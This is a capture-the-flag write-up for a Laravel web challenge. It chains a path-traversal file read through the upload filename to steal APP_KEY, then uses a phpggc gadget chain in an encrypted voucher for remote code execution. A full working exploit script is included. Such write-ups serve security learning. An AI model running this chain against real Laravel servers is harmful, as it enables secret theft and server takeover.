Vault
Vault
Platform: tamuctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-21 | Status: Solved Techniques: app_key_extraction, laravel_decrypt_deserialization, lfi_via_full_path, phpggc_gadget_chain
Summary
Task: Laravel app with avatar upload using $_FILES['full_path'] (LFI) and voucher redeem using decrypt() (deserialization). Solution: Chain LFI to extract APP_KEY, generate phpggc gadget chain, encrypt with Laravel format, trigger RCE to find randomized flag filename, read flag via LFI.
Vault — TamuCTF
Description
Space Vault v1.0 handles all your intergalactic monetary needs!
This challenge uses an instancer. To spawn a container, run /start in the #vault-instancer channel on the Discord server.
Laravel 12 web application with avatar upload and voucher system. Goal: find and read the flag file with randomized name.
Analysis
Vulnerability 1: Local File Inclusion (LFI)
In AccountController.php, the avatar upload uses PHP 8.1+ $_FILES['avatar']['full_path'] without sanitization:
php read-only • copy allowedpublic function updateAvatar(Request $request) { $name = $_FILES['avatar']['full_path']; // User controlled! $path = "/var/www/storage/app/public/avatars/$name"; $request->file('avatar')->storeAs('avatars', basename($name), 'public'); $user->avatar = $path; $user->save(); } public function getAvatar(Request $request) { $path = Auth::user()->avatar; return response()->file($path); // Reads arbitrary files! }
By uploading a file with filename containing path traversal (e.g., ../../../../../../etc/passwd), the full path becomes /var/www/storage/app/public/avatars/../../../../../../etc/passwd which resolves to /etc/passwd. The getAvatar() method then reads and returns this file.
Vulnerability 2: Laravel Deserialization RCE
In VouchersController.php, the voucher redeem endpoint uses Laravel's decrypt() function:
php read-only • copy allowedpublic function redeem(Request $request) { $data = $request->validate(['voucher' => 'required|string']); try { $voucher = decrypt($data['voucher']); // Calls unserialize() internally! } catch (DecryptException $e) { return back()->withErrors(['voucher' => 'Invalid voucher.']); } $user->balance += $voucher['amount']; }
Laravel's decrypt() function internally calls unserialize() on the decrypted data, making it vulnerable to PHP object injection if we know the APP_KEY.
Flag Location Challenge
The flag is placed at a randomized path in the entrypoint:
bash read-only • copy allowedmv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
This creates a file like /a1b2c3d4e5f6a1b2c3d4e5f6-flag.txt - impossible to brute force (16^24 combinations).
Solution
Step 1: Extract APP_KEY via LFI
python read-only • copy alloweddef lfi(path, depth=6): trav = "../" * depth + path session.post( f"{TARGET}/account/avatar", data={"_token": csrf_token}, files={"avatar": (trav, PNG_DATA, "image/png")}, ) r = session.get(f"{TARGET}/avatar") return r.content # Read .env file env_content = lfi("var/www/.env") # Extract: APP_KEY=base64:isP9Pg6L/K2bgMJwoUUie6iioVfYBTgtWqzf6EqPDo8=
Step 2: Generate Laravel RCE Gadget Chain
Using phpggc to generate Laravel/RCE22 gadget chain:
bash read-only • copy allowed./phpggc Laravel/RCE22 system "ls -la / > /var/www/storage/app/public/out.txt" -b
Step 3: Encrypt Payload with APP_KEY
python read-only • copy alloweddef encrypt_laravel(data, key): """Encrypt data using Laravel's encryption format""" from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes iv = os.urandom(16) # PKCS7 padding block_size = 16 padding_len = block_size - (len(data) % block_size) padded_data = data + bytes([padding_len] * padding_len) # AES-256-CBC encryption cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) encrypted = cipher.encryptor().update(padded_data) + cipher.encryptor().finalize() # Laravel format: base64(json({iv, value, mac})) iv_b64 = base64.b64encode(iv).decode() value_b64 = base64.b64encode(encrypted).decode() mac = hmac.new(key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest() payload = {"iv": iv_b64, "value": value_b64, "mac": mac} return base64.b64encode(json.dumps(payload).encode()).decode()
Step 4: Execute RCE and Find Flag
python read-only • copy allowed# Send malicious voucher encrypted_voucher = encrypt_laravel(gadget_chain, app_key) session.post(f"{TARGET}/vouchers/redeem", data={"_token": csrf, "voucher": encrypted_voucher}) # Read command output via LFI output = lfi("var/www/storage/app/public/out.txt") # Output contains: a1b2c3d4e5f6a1b2c3d4e5f6-flag.txt # Read flag via LFI flag = lfi("a1b2c3d4e5f6a1b2c3d4e5f6-flag.txt")
Full Exploit
python read-only • copy allowed#!/usr/bin/env python3 """Laravel Deserialization RCE via Voucher Redeem""" import requests import re import struct import zlib import time import base64 import subprocess import os import json import hmac import hashlib from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend TARGET = os.environ.get("TARGET", "https://instance.tamuctf.com") session = requests.Session() session.verify = False def png(): """Generate minimal valid PNG""" sig = b"\x89PNG\r\n\x1a\n" ihdr = struct.pack(">I", 13) + b"IHDR" + struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0) ihdr += struct.pack(">I", zlib.crc32(ihdr[4:]) & 0xFFFFFFFF) idat_data = zlib.compress(b"\x00\xff\x00\x00") idat = struct.pack(">I", len(idat_data)) + b"IDAT" + idat_data idat += struct.pack(">I", zlib.crc32(idat[4:]) & 0xFFFFFFFF) iend = struct.pack(">I", 0) + b"IEND" + struct.pack(">I", zlib.crc32(b"IEND") & 0xFFFFFFFF) return sig + ihdr + idat + iend PNG = png() def csrf(url): r = session.get(url, timeout=30) m = re.search(r'name="_token"\s+value="([^"]+)"', r.text) return m.group(1) if m else "" def lfi(path, depth=6): trav = "../" * depth + path c = csrf(f"{TARGET}/account") session.post(f"{TARGET}/account/avatar", data={"_token": c}, files={"avatar": (trav, PNG, "image/png")}) r = session.get(f"{TARGET}/avatar") return r.status_code, r.content def encrypt_laravel(data, key): iv = os.urandom(16) block_size = 16 padding_len = block_size - (len(data) % block_size) padded_data = data + bytes([padding_len] * padding_len) cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) encrypted = cipher.encryptor().update(padded_data) + cipher.encryptor().finalize() iv_b64 = base64.b64encode(iv).decode() value_b64 = base64.b64encode(encrypted).decode() mac = hmac.new(key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest() return base64.b64encode(json.dumps({"iv": iv_b64, "value": value_b64, "mac": mac}).encode()).decode() def generate_gadget(cmd): result = subprocess.run(["/tmp/phpggc/phpggc", "Laravel/RCE22", "system", cmd, "-b"], capture_output=True, timeout=30) return base64.b64decode(result.stdout.strip()) if result.returncode == 0 else None # Register and login USERNAME = f"user{int(time.time())}" c = csrf(f"{TARGET}/register") session.post(f"{TARGET}/register", data={"_token": c, "username": USERNAME, "password": "pass", "password2": "pass"}) c = csrf(f"{TARGET}/login") session.post(f"{TARGET}/login", data={"_token": c, "username": USERNAME, "password": "pass"}) # Step 1: Read APP_KEY st, ct = lfi("var/www/.env") match = re.search(rb"APP_KEY=base64:([A-Za-z0-9+/=]+)", ct) app_key = base64.b64decode(match.group(1)) # Step 2: Generate and encrypt gadget gadget = generate_gadget("ls -la / > /var/www/storage/app/public/out.txt") encrypted_voucher = encrypt_laravel(gadget, app_key) # Step 3: Trigger RCE c = csrf(f"{TARGET}/vouchers") session.post(f"{TARGET}/vouchers/redeem", data={"_token": c, "voucher": encrypted_voucher}) # Step 4: Find and read flag time.sleep(2) st, ct = lfi("var/www/storage/app/public/out.txt") flag_match = re.search(rb"([a-f0-9]{24})-flag\.txt", ct) flag_name = flag_match.group(0).decode() st, flag = lfi(flag_name) print(f"FLAG: {flag.decode()}")